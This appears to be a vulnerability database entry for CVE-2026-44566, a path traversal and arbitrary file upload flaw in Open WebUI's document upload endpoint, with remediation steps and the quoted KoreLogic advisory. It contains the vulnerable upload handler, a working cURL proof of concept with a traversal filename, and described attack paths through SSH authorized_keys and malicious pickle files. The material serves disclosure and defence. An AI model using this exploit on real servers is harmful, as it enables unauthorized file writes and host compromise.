Open WebUI's document upload endpoint (/rag/api/v1/doc) fails to sanitize filenames before writing to disk, allowing any authenticated user to place files anywhere the web server process can write via path traversal sequences in the multipart filename field. Open WebUI is the standard frontend for local Ollama LLM deployments across thousands of organizations, and with 52 prior CVEs in this package, this reflects a persistent pattern of security debt in widely-deployed AI inference infrastructure. The most severe impact path is uploading a malicious Python pickle file to the model directory — deserialization automatically executes arbitrary code with web server privileges, turning a document upload into full host compromise including exposure of model weights, API keys, and any credentials stored on the system. Upgrade to Open WebUI 0.1.124 or later immediately and inspect web server access logs for multipart POST requests to /rag/api/v1/doc containing '../' patterns in Content-Disposition filename fields.
What is the risk?
High risk despite the CVSS 7.3 score — real-world impact is likely higher due to the RCE escalation path. The exploit is trivial: a single cURL command with a crafted filename is the entire attack, and the full PoC is publicly documented in the KoreLogic advisory. While authentication is required per the PoC, the combination of potential weak or shared credentials, open registration in many self-hosted deployments, and the catastrophic impact of pickle-based arbitrary code execution justifies urgent prioritization. The 52 prior CVEs in this package indicate inadequate security review practices and a codebase that warrants close ongoing scrutiny.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Open WebUI | pip | <= 0.1.123 | 0.1.124 |
Do you use Open WebUI? You're affected.
How severe is it?
What is the attack surface?
What should I do?
6 steps-
Upgrade to Open WebUI >= 0.1.124 immediately — the patch adds filename sanitization to the upload handler.
-
If patching is delayed, network-restrict /rag/api/v1/doc to trusted internal users only and block external access.
-
Deploy Open WebUI in a container with a minimal-write filesystem, dedicated service account with no shell, and no SSH daemon on the host.
-
Monitor web server access logs for POST requests to /rag/api/v1/doc where the Content-Disposition filename field contains '../' sequences.
-
Audit the uploads directory and adjacent directories (especially ~/.ssh/ and model loading paths) for unexpected files.
-
Implement WAF rules to reject path traversal patterns in multipart upload filenames.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-44566?
Open WebUI's document upload endpoint (/rag/api/v1/doc) fails to sanitize filenames before writing to disk, allowing any authenticated user to place files anywhere the web server process can write via path traversal sequences in the multipart filename field. Open WebUI is the standard frontend for local Ollama LLM deployments across thousands of organizations, and with 52 prior CVEs in this package, this reflects a persistent pattern of security debt in widely-deployed AI inference infrastructure. The most severe impact path is uploading a malicious Python pickle file to the model directory — deserialization automatically executes arbitrary code with web server privileges, turning a document upload into full host compromise including exposure of model weights, API keys, and any credentials stored on the system. Upgrade to Open WebUI 0.1.124 or later immediately and inspect web server access logs for multipart POST requests to /rag/api/v1/doc containing '../' patterns in Content-Disposition filename fields.
Is CVE-2026-44566 actively exploited?
No confirmed active exploitation of CVE-2026-44566 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-44566?
1. Upgrade to Open WebUI >= 0.1.124 immediately — the patch adds filename sanitization to the upload handler. 2. If patching is delayed, network-restrict /rag/api/v1/doc to trusted internal users only and block external access. 3. Deploy Open WebUI in a container with a minimal-write filesystem, dedicated service account with no shell, and no SSH daemon on the host. 4. Monitor web server access logs for POST requests to /rag/api/v1/doc where the Content-Disposition filename field contains '../' sequences. 5. Audit the uploads directory and adjacent directories (especially ~/.ssh/ and model loading paths) for unexpected files. 6. Implement WAF rules to reject path traversal patterns in multipart upload filenames.
What systems are affected by CVE-2026-44566?
This vulnerability affects the following AI/ML architecture patterns: Local LLM inference stacks (Ollama + Open WebUI), Self-hosted AI assistant deployments, RAG document ingestion pipelines, On-premise model serving infrastructure.
What is the CVSS score for CVE-2026-44566?
CVE-2026-44566 has a CVSS v3.1 base score of 7.3 (HIGH). The EPSS exploitation probability is 0.34%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0011.000 Unsafe AI Artifacts AML.T0018.002 Embed Malware AML.T0025 Exfiltration via Cyber Means AML.T0049 Exploit Public-Facing Application AML.T0072 Reverse Shell Compliance Controls Affected
What are the technical details?
Original Advisory
# **CONFIDENTIAL** # KL-CAN-2024-002 ## Vulnerability Details | # | Field | Value | |---|-------|-------| | 1 | **Discoverer** | Jaggar Henry & Sean Segreti of KoreLogic, Inc. | | 2 | **Date Submitted** | 2024.03.12 | | 3 | **Title** | Open WebUI Arbitrary File Upload + Path Traversal | | 5 | **Affected Vendor** | Open WebUI | | 6 | **Affected Product(s)** | Open WebUI (Formerly Ollama WebUI) | | 7 | **Affected Version(s)** | 0.1.105 | | 8 | **Platform/OS** | Debian GNU/Linux 12 (bookworm) | | 9 | **Vector** | HTTP web interface | | 10 | **CWE** | CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-434: Unrestricted Upload of File with Dangerous Type | --- ## 4. High-level Summary Attacker controlled files can be uploaded to arbitrary locations on the web server's filesystem by abusing a path traversal vulnerability. --- ## 11. Technical Analysis When attaching files to a prompt by clicking the plus sign (+) on the left of the message input box when using the Open WebUI HTTP interface, the file is uploaded to a static upload directory. The name of the file is derived from the original HTTP upload request and is not validated or sanitized. This allows for users to upload files with names containing dot-segments in the file path and traverse out of the intended uploads directory. Effectively, users can upload files anywhere on the filesystem the user running the web server has permission. This can be visualized by examining the python code for the `/rag/api/v1/doc` API route: ```python @app.post("/doc") def store_doc( collection_name: Optional[str] = Form(None), file: UploadFile = File(...), user=Depends(get_current_user), ): # "https://www.gutenberg.org/files/1727/1727-h/1727-h.htm" print(file.content_type) try: filename = file.filename file_path = f"{UPLOAD_DIR}/{filename}" contents = file.file.read() with open(file_path, "wb") as f: f.write(contents) f.close() ``` The `file` variable is a representation of the multipart form data contained within the HTTP POST request. The `filename` variable is derived from the uploaded file name and is not validated before writing the file contents to disk. This can be used to upload malicious models. These models are often distributed as pickled python objects and can be leveraged to execute arbitrary python bytecode once deserialized. Alternatively, an attacker can leverage existing services, such as SSH, to upload an attacker controlled `authorized_keys` file to remotely connect to the machine. --- ## 12. Proof-of-Concept Execute the following cURL command: ```bash TARGET_URI='https://redacted.com'; JWT='redacted'; LOCAL_FILE='/tmp/file_to_upload.txt'\ curl -H "Authorization: Bearer $JWT" -F "file=$LOCAL_FILE;filename=../../../../../../../../../../tmp/pwned.txt" "$TARGET_URI/rag/api/v1/doc" ``` Verify the file `pwned.txt` exists in the `/tmp/` directory on the machine hosting the web server: ```console ollama@webserver:~$ cat /tmp/pwned.txt korelogic ollama@webserver:~$ ```
Exploitation Scenario
An attacker with valid Open WebUI credentials — obtained via phishing, credential stuffing, or default/weak password common in self-hosted deployments — sends a crafted POST to /rag/api/v1/doc with a filename like '../../../../../../root/.ssh/authorized_keys'. The server writes the attacker's SSH public key to the root authorized_keys file with no validation, granting direct SSH access to the AI inference host. Alternatively, the attacker uploads a malicious pickle file to the Ollama model directory; the next time Open WebUI loads a model, the pickle deserializes and executes a reverse shell with web server privileges, yielding full control over the inference infrastructure, all stored model weights, and any lateral movement paths to connected internal systems.
Weaknesses (CWE)
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Primary
CWE-434 Unrestricted Upload of File with Dangerous Type
Primary
CWE-22 — Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'): The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
- [Implementation] Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylis
- [Architecture and Design] For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L References
Timeline
Related Vulnerabilities
CVE-2026-44551 9.1 open-webui: LDAP auth bypass — full account takeover
Same package: open-webui CVE-2026-45672 8.8 open-webui: code exec gate bypass via API endpoint
Same package: open-webui CVE-2025-64495 8.7 Open WebUI: XSS-to-RCE via malicious prompt injection
Same package: open-webui CVE-2026-44552 8.7 open-webui: Redis cache poisoning enables cross-instance tool hijack
Same package: open-webui CVE-2026-45315 8.7 open-webui: stored XSS → JWT theft and admin takeover
Same package: open-webui